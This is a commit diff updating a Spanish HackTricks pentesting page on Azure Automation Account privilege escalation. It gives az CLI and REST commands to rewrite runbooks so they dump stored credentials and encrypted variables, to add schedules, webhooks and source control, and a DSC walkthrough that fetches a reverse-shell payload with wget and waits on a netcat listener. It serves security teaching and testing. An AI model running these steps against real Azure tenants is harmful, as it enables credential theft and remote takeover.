Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 21:13:48 +00:00
parent 0e0499cd59
commit 6304725db0
@@ -4,37 +4,37 @@
## Azure Automation Accounts
Para más información, consulta:
Para más información consulta:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### Grupo de Trabajadores Híbridos
### Hybrid Workers Group
- **Desde la Cuenta de Automatización a la VM**
- **From the Automation Account to the VM**
Recuerda que si de alguna manera un atacante puede ejecutar un runbook arbitrario (código arbitrario) en un trabajador híbrido, él **se moverá a la ubicación de la VM**. Esto podría ser una máquina local, una VPC de otra nube o incluso una VM de Azure.
Recuerda que si de alguna manera un atacante puede ejecutar un runbook (código arbitrario) en un hybrid worker, podrá **pivot to the location of the VM**. Esto podría ser una máquina on-premise, una VPC de otra cloud o incluso una Azure VM.
Además, si el trabajador híbrido se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**.
Además, si el hybrid worker se está ejecutando en Azure con otras Managed Identities adjuntas, el runbook podrá acceder a la **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
> [!TIP]
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
> Recuerda que el **metadata service** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de las managed identities de la automation account (**`IDENTITY_ENDPOINT`**).
- **Desde la VM a la Cuenta de Automatización**
- **From the VM to the Automation Account**
Además, si alguien compromete una VM donde se está ejecutando un script de cuenta de automatización, podrá localizar los metadatos de la **Cuenta de Automatización** y acceder a ellos desde la VM para obtener tokens para las **Identidades Administradas** adjuntas a la Cuenta de Automatización.
Además, si alguien compromete una VM donde se está ejecutando un script de una automation account, podrá localizar los metadatos de la **Automation Account** y acceder a ellos desde la VM para obtener tokens de las **Managed Identities** adjuntas a la Automation Account.
Como se puede ver en la siguiente imagen, al tener acceso de Administrador sobre la VM, es posible encontrar en las **variables de entorno del proceso** la URL y el secreto para acceder al servicio de metadatos de la cuenta de automatización:
Como es posible ver en la siguiente imagen, teniendo acceso de Administrator sobre la VM es posible encontrar en las **environment variables of the process** la URL y el secret para acceder al automation account metadata service:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Como resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables encriptadas** almacenadas en la Cuenta de Automatización.
En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Automation Account, lo que podrías usar para **ejecutar código** en el contexto de la Automation Account y escalar privilegios a las **Managed Identities** asignadas y leak **credenciales** y **variables encriptadas** almacenadas en la Automation Account.
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Cuenta de Automatización usando:
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Automation Account usando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,7 +47,7 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Nota cómo el script anterior puede ser utilizado para **leak the useranmd and password** de una credencial y el valor de una **encrypted variable** almacenada en la Automation Account.
Observa cómo el script anterior puede usarse para **leak el useranmd y password** de una credencial y el valor de una **variable cifrada** almacenada en la Automation Account.
El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen:
```bash
@@ -56,7 +56,7 @@ az automation runbook publish \
--automation-account-name <account-name> \
--name <runbook-name>
```
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Cuenta de Automatización utilizando:
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Automation Account usando:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un trabajo en la Cuenta de Automatización utilizando:
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un job en la Automation Account usando:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
Si no existen Runbooks creados, o quieres crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Este permiso permite al usuario **asignar una identidad administrada por el usuario** a la Cuenta de Automatización usando:
Este permiso permite al usuario **assign a user managed identity** al Automation Account usando:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Con el permiso **`Microsoft.Automation/automationAccounts/schedules/write`** es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) utilizando el siguiente comando.
Con el permiso **`Microsoft.Automation/automationAccounts/schedules/write`** es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) usando el siguiente comando.
Tenga en cuenta que el **intervalo mínimo para un schedule es de 15 minutos**, y el **tiempo de inicio mínimo es de 5 minutos** en el futuro.
Ten en cuenta que el **intervalo mínimo para un schedule es de 15 minutos**, y el **tiempo mínimo de inicio es de 5 minutos** en el futuro.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Luego, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Programador a un runbook usando:
Entonces, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Scheduler a un runbook usando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo** pero necesitarás usar un valor arbitrario para crear esta asignación.
> En el ejemplo anterior el ID del job schedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo**, pero necesitarás usar un valor arbitrario para crear esta asignación.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Cuenta de Automatización utilizando el siguiente comando.
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Automation Account usando uno de los siguientes comandos.
Con Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Este comando debería devolver un URI de webhook que solo se muestra en la creación. Luego, para llamar al runbook usando el URI del webhook.
Con AzureCLI y REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Estos comandos deberían devolver un webhook URI que solo se muestra al crearse. Luego, para invocar el runbook usando el webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Solo con el permiso `Microsoft.Automation/automationAccounts/runbooks/draft/write` es posible **actualizar el código de un Runbook** sin publicarlo y ejecutarlo utilizando los siguientes comandos.
Solo con el permiso `Microsoft.Automation/automationAccounts/runbooks/draft/write` es posible **actualizar el código de un Runbook** sin publicarlo y ejecutarlo usando los siguientes comandos.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto utiliza Github como ejemplo):
Este permiso permite al usuario **configurar un control de código fuente** para la Automation Account usando un comando como el siguiente (este usa Github como ejemplo):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Esto importará automáticamente los runbooks del repositorio de Github a la Automation Account y con algunos otros permisos para comenzar a ejecutarlos sería **posible escalar privilegios**.
Esto importará automáticamente los runbooks desde el repositorio de Github al Automation Account y, con algunos permisos adicionales para iniciarlos, sería **possible to escalate privileges**.
Además, recuerda que para que el control de versiones funcione en las Automation Accounts debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, el id del cliente de la MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Además, recuerda que para que source control funcione en Automation Accounts debe tener una managed identity con el rol **`Contributor`** y, si es una user managed identity, el client id del MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Ten en cuenta que no es posible cambiar la URL del repositorio de un control de versiones una vez que se ha creado.
> Ten en cuenta que no es posible cambiar la URL del repo de un source control una vez que se ha creado.
### `Microsoft.Automation/automationAccounts/variables/write`
Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account utilizando el siguiente comando.
Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account usando el siguiente comando.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,53 +231,53 @@ az rest --method PUT \
}
}'
```
### Entornos de Ejecución Personalizados
### Entornos de runtime personalizados
Si una cuenta de automatización está utilizando un entorno de ejecución personalizado, podría ser posible sobrescribir un paquete personalizado del entorno con algún código malicioso (como **una puerta trasera**). De esta manera, cada vez que se ejecute un runbook que utilice ese entorno personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
Si un automation account está usando un entorno de runtime personalizado, podría ser posible sobrescribir un paquete personalizado del runtime con código malicioso (como **a backdoor**). De este modo, cada vez que se ejecute un runbook que utilice ese runtime personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
### Comprometiendo la Configuración de Estado
### Comprometiendo la configuración de estado
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Consulta la entrada completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Paso 1 — Crear Archivos
- Paso 1 — Crear archivos
**Archivos Requeridos:** Se necesitan dos scripts de PowerShell:
1. `reverse_shell_config.ps1`: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
**Archivos requeridos:** Se necesitan dos scripts de PowerShell:
1. `reverse_shell_config.ps1`: Un archivo Desired State Configuration (DSC) que obtiene y ejecuta el payload. Está disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos nombres de recursos, rutas de archivos e identificadores del servidor/payload.
- Paso 2 — Comprimir el Archivo de Configuración
- Paso 2 — Comprimir el archivo de configuración
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para su transferencia a la Cuenta de Almacenamiento de Azure.
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, dejándolo listo para transferirse al Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Paso 3 — Establecer contexto de almacenamiento y cargar
- Paso 3 — Set Storage Context & Upload
El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
El archivo de configuración comprimido se carga en un contenedor predefinido de Azure Storage, azure-pentest, usando el cmdlet Set-AzStorageBlobContent de Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Paso 4 — Preparar Kali Box
El servidor Kali descarga la carga útil RevPS.ps1 de un repositorio de GitHub.
El servidor Kali descarga el payload RevPS.ps1 desde un repositorio de GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
Se edita el script para especificar la VM de Windows objetivo y el puerto para el reverse shell.
- Paso 5 — Publicar Archivo de Configuración
- Paso 5 — Publicar el archivo de configuración
El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
El archivo de configuración se ejecuta, resultando en que el reverse-shell script se despliegue en la ubicación especificada en la VM de Windows.
- Paso 6 — Alojar Carga Útil y Configurar Escucha
- Paso 6 — Hospedar el payload y configurar el listener
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
Se inicia un Python SimpleHTTPServer para alojar el payload, junto con un listener de Netcat para capturar las conexiones entrantes.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SYSTEM.
La tarea programada ejecuta el payload, obteniendo privilegios a nivel SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}